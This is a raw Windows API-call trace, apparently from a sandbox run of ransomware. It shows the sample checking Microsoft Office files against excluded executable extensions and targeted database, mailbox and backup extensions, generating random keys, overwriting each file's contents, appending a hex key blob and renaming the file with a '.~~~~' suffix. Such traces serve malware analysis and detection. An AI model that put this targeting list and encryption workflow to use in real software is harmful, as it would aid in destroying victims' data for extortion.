	[0138.108] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.108] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.108] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0138.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0138.108] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25809846704) returned 1
	[0138.108] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbbc2cd50, dwHighDateTime=0x1d60e1e)) 
	[0138.108] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0138.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0138.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0138.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825978
	[0138.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825978 | out: hHeap=0x300000) returned 1
	[0138.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ceea8
	[0138.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.109] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.109] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ceea8 | out: hHeap=0x300000) returned 1
	[0138.109] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0138.109] GetLastError () returned 0x0
	[0138.110] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0138.110] GetLastError () returned 0x0
	[0138.241] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.241] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0138.243] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.243] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.243] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.243] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.243] CloseHandle (hObject=0x114) returned 1
	[0138.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cf148
	[0138.244] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME09.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme09.css.~~~~")) returned 1
	[0138.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cf148 | out: hHeap=0x300000) returned 1
	[0138.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0138.246] GetLastError () returned 0x0
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".scr") returned 0x0
	[0138.247] lstrlenW (lpString=".cmd") returned 4
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".cmd") returned 0x0
	[0138.247] lstrlenW (lpString=".dll") returned 4
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".dll") returned 0x0
	[0138.247] lstrlenW (lpString=".bat") returned 4
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".bat") returned 0x0
	[0138.247] lstrlenW (lpString=".cpl") returned 4
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".cpl") returned 0x0
	[0138.247] lstrlenW (lpString=".sys") returned 4
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".sys") returned 0x0
	[0138.247] lstrlenW (lpString=".msc") returned 4
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".msc") returned 0x0
	[0138.247] lstrlenW (lpString=".com") returned 4
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".com") returned 0x0
	[0138.247] lstrlenW (lpString=".lnk") returned 4
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".lnk") returned 0x0
	[0138.247] lstrlenW (lpString=".msp") returned 4
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".msp") returned 0x0
	[0138.247] lstrlenW (lpString=".pif") returned 4
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".pif") returned 0x0
	[0138.247] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0138.247] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch="msp\r\n.pif") returned 0x0
	[0138.248] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0138.249] lstrlenW (lpString=".sqb") returned 4
	[0138.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".sqb") returned 0x0
	[0138.249] lstrlenW (lpString=".ost") returned 4
	[0138.249] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".ost") returned 0x0
	[0138.249] lstrlenW (lpString=".txt") returned 4
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".txt") returned 0x0
	[0138.250] lstrlenW (lpString=".mdt") returned 4
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".mdt") returned 0x0
	[0138.250] lstrlenW (lpString=".BDB") returned 4
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".BDB") returned 0x0
	[0138.250] lstrlenW (lpString=".eql") returned 4
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".eql") returned 0x0
	[0138.250] lstrlenW (lpString=".DBF") returned 4
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".DBF") returned 0x0
	[0138.250] lstrlenW (lpString=".EQL") returned 4
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".EQL") returned 0x0
	[0138.250] lstrlenW (lpString=".FDB") returned 4
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".FDB") returned 0x0
	[0138.250] lstrlenW (lpString=".EDB") returned 4
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".EDB") returned 0x0
	[0138.250] lstrlenW (lpString=".DACPAC") returned 7
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".DACPAC") returned 0x0
	[0138.250] lstrlenW (lpString=".VHD") returned 4
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".VHD") returned 0x0
	[0138.250] lstrlenW (lpString=".DBV") returned 4
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".DBV") returned 0x0
	[0138.250] lstrlenW (lpString=".dacpac") returned 7
	[0138.250] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".dacpac") returned 0x0
	[0138.250] lstrlenW (lpString=".sdf") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".sdf") returned 0x0
	[0138.251] lstrlenW (lpString=".accdb") returned 6
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".accdb") returned 0x0
	[0138.251] lstrlenW (lpString=".DBX") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".DBX") returned 0x0
	[0138.251] lstrlenW (lpString=".MDT") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".MDT") returned 0x0
	[0138.251] lstrlenW (lpString=".SQB") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".SQB") returned 0x0
	[0138.251] lstrlenW (lpString=".vhd") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".vhd") returned 0x0
	[0138.251] lstrlenW (lpString=".bac") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".bac") returned 0x0
	[0138.251] lstrlenW (lpString=".mdf") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".mdf") returned 0x0
	[0138.251] lstrlenW (lpString=".BAK") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".BAK") returned 0x0
	[0138.251] lstrlenW (lpString=".BAC") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".BAC") returned 0x0
	[0138.251] lstrlenW (lpString=".dbs") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".dbs") returned 0x0
	[0138.251] lstrlenW (lpString=".vhdx") returned 5
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".vhdx") returned 0x0
	[0138.251] lstrlenW (lpString=".NDF") returned 4
	[0138.251] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".NDF") returned 0x0
	[0138.251] lstrlenW (lpString=".dat") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".dat") returned 0x0
	[0138.252] lstrlenW (lpString=".DBS") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".DBS") returned 0x0
	[0138.252] lstrlenW (lpString=".CKP") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".CKP") returned 0x0
	[0138.252] lstrlenW (lpString=".edb") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".edb") returned 0x0
	[0138.252] lstrlenW (lpString=".PST") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".PST") returned 0x0
	[0138.252] lstrlenW (lpString=".dbf") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".dbf") returned 0x0
	[0138.252] lstrlenW (lpString=".SQL") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".SQL") returned 0x0
	[0138.252] lstrlenW (lpString=".pst") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".pst") returned 0x0
	[0138.252] lstrlenW (lpString=".dbv") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".dbv") returned 0x0
	[0138.252] lstrlenW (lpString=".SDF") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".SDF") returned 0x0
	[0138.252] lstrlenW (lpString=".dtxs") returned 5
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".dtxs") returned 0x0
	[0138.252] lstrlenW (lpString=".db3") returned 4
	[0138.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".db3") returned 0x0
	[0138.253] lstrlenW (lpString=".OST") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".OST") returned 0x0
	[0138.253] lstrlenW (lpString=".dbx") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".dbx") returned 0x0
	[0138.253] lstrlenW (lpString=".DB3") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".DB3") returned 0x0
	[0138.253] lstrlenW (lpString=".DAT") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".DAT") returned 0x0
	[0138.253] lstrlenW (lpString=".VHDX") returned 5
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".VHDX") returned 0x0
	[0138.253] lstrlenW (lpString=".ndf") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".ndf") returned 0x0
	[0138.253] lstrlenW (lpString=".DB") returned 3
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".DB") returned 0x0
	[0138.253] lstrlenW (lpString=".sql") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".sql") returned 0x0
	[0138.253] lstrlenW (lpString=".MYD") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".MYD") returned 0x0
	[0138.253] lstrlenW (lpString=".DBT") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".DBT") returned 0x0
	[0138.253] lstrlenW (lpString=".ACCDB") returned 6
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".ACCDB") returned 0x0
	[0138.253] lstrlenW (lpString=".fdb") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".fdb") returned 0x0
	[0138.253] lstrlenW (lpString=".bak") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".bak") returned 0x0
	[0138.253] lstrlenW (lpString=".myd") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".myd") returned 0x0
	[0138.253] lstrlenW (lpString=".DTXS") returned 5
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".DTXS") returned 0x0
	[0138.253] lstrlenW (lpString=".ckp") returned 4
	[0138.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".ckp") returned 0x0
	[0138.253] lstrlenW (lpString=".dbt") returned 4
	[0138.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".dbt") returned 0x0
	[0138.254] lstrlenW (lpString=".db") returned 3
	[0138.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".db") returned 0x0
	[0138.254] lstrlenW (lpString=".TXT") returned 4
	[0138.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".TXT") returned 0x0
	[0138.254] lstrlenW (lpString=".MDF") returned 4
	[0138.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".MDF") returned 0x0
	[0138.254] lstrlenW (lpString=".bdb") returned 4
	[0138.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".bdb") returned 0x0
	[0138.254] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0138.254] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0138.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0138.254] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0138.254] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x394b08) returned 1
	[0138.255] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0138.255] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0138.255] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0138.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0138.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0138.256] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=25824589005) returned 1
	[0138.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xbbda9b10, dwHighDateTime=0x1d60e1e)) 
	[0138.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0138.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0138.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0138.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2825a90
	[0138.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0138.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2825a90 | out: hHeap=0x300000) returned 1
	[0138.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0138.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0138.256] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3cef50
	[0138.256] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0138.257] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0138.257] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3cef50 | out: hHeap=0x300000) returned 1
	[0138.257] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0138.257] GetLastError () returned 0x0
	[0138.257] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0138.257] GetLastError () returned 0x0
	[0138.262] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0138.263] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0138.263] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0138.264] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0138.264] WriteFile (in: hFile=0x114, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0138.264] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0138.264] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0138.264] CloseHandle (hObject=0x114) returned 1
	[0138.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3cef50
	[0138.264] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBFTSCM\\SCHEME14.CSS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubftscm\\scheme14.css.~~~~")) returned 1
